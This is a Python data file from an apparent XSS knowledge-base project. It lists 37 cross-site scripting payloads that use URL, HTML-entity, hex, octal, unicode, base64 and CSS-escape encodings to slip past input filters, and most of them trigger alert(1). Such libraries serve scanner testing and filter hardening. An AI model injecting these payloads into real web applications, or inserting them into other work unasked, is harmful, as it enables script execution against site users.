#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Encoding Core Payloads - Part 1
"""

from typing import Dict

from ..models import PayloadEntry


ENCODING_CORE_PAYLOADS_PART1: Dict[str, PayloadEntry] = {
    "encoding_001": PayloadEntry(
        payload="%3Ciframe%20src=javascript:alert(1)%3E",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_002": PayloadEntry(
        payload="%3Cbody%20onload=alert(1)%3E",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_003": PayloadEntry(
        payload="%253Csvg%2520onload=alert(1)%253E",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_004": PayloadEntry(
        payload="%3CScript%3EAlert(1)%3C/Script%3E",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_005": PayloadEntry(
        payload="%3Cscript>alert(1)</script%3E",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_006": PayloadEntry(
        payload="<script%3Ealert(1)%3C/script>",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_007": PayloadEntry(
        payload="<script>alert%281%29</script>",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_008": PayloadEntry(
        payload="%u003Cimg%u0020src=x%u0020onerror=alert(1)%u003E",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_009": PayloadEntry(
        payload="&lt;img src=x onerror=alert(1)&gt;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_010": PayloadEntry(
        payload="&lt;svg onload=alert(1)&gt;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_011": PayloadEntry(
        payload="&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_012": PayloadEntry(
        payload="&apos;&gt;&lt;script&gt;alert(1)&lt;/script&gt;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_013": PayloadEntry(
        payload="&#60;img src=x onerror=alert(1)&#62;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_014": PayloadEntry(
        payload="&#60;svg onload=alert(1)&#62;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_015": PayloadEntry(
        payload="&#34;&#62;&#60;script&#62;alert(1)&#60;/script&#62;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_016": PayloadEntry(
        payload="&#39;&#62;&#60;script&#62;alert(1)&#60;/script&#62;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_017": PayloadEntry(
        payload="&#x3C;img src=x onerror=alert(1)&#x3E;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_018": PayloadEntry(
        payload="&#x3C;svg onload=alert(1)&#x3E;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_019": PayloadEntry(
        payload="&#x22;&#x3E;&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_020": PayloadEntry(
        payload="&#x27;&#x3E;&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_021": PayloadEntry(
        payload="&lt;scr&#105;pt&gt;alert(1)&lt;/scr&#105;pt&gt;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_022": PayloadEntry(
        payload="&#60;scr&#x69;pt&#62;alert(1)&#60;/scr&#x69;pt&#62;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_023": PayloadEntry(
        payload="&lt;&#x69;mg src=x onerror=alert(1)&gt;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_024": PayloadEntry(
        payload="&LT;SCRIPT&GT;ALERT(1)&LT;/SCRIPT&GT;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_025": PayloadEntry(
        payload="&LT;IMG SRC=X ONERROR=ALERT(1)&GT;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_026": PayloadEntry(
        payload="&LT;SVG ONLOAD=ALERT(1)&GT;",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_027": PayloadEntry(
        payload="<script>\\u0061\\u006C\\u0065\\u0072\\u0074(\\u0031)</script>",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_028": PayloadEntry(
        payload="<script>\\x61\\x6C\\x65\\x72\\x74(\\x31)</script>",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_029": PayloadEntry(
        payload="<script>\\141\\154\\145\\162\\164(\\61)</script>",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_030": PayloadEntry(
        payload="<script>String.fromCharCode(97,108,101,114,116,40,49,41)</script>",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_031": PayloadEntry(
        payload='<script>eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))</script>',
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_032": PayloadEntry(
        payload='<script>Function(atob("YWxlcnQoMSk="))()</script>',
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_033": PayloadEntry(
        payload='<script>eval(decodeURI("%61%6C%65%72%74%28%31%29"))</script>',
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_034": PayloadEntry(
        payload='<script>eval(decodeURIComponent("%61%6C%65%72%74%28%31%29"))</script>',
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_035": PayloadEntry(
        payload="<style>\\61 \\6C \\65 \\72 \\74 {color:red}</style>",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_036": PayloadEntry(
        payload="<style>body{background:\\75 \\72 \\6C (javascript:alert(1))}</style>",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
    "encoding_037": PayloadEntry(
        payload="<style>\\41 lert{color:red}</style>",
        contexts=["html_content", "url"],
        severity="medium",
        cvss_score=5.5,
        description="Encoding payload",
        tags=["encoding", "unicode", "hex"],
        waf_evasion=False,
    ),
}
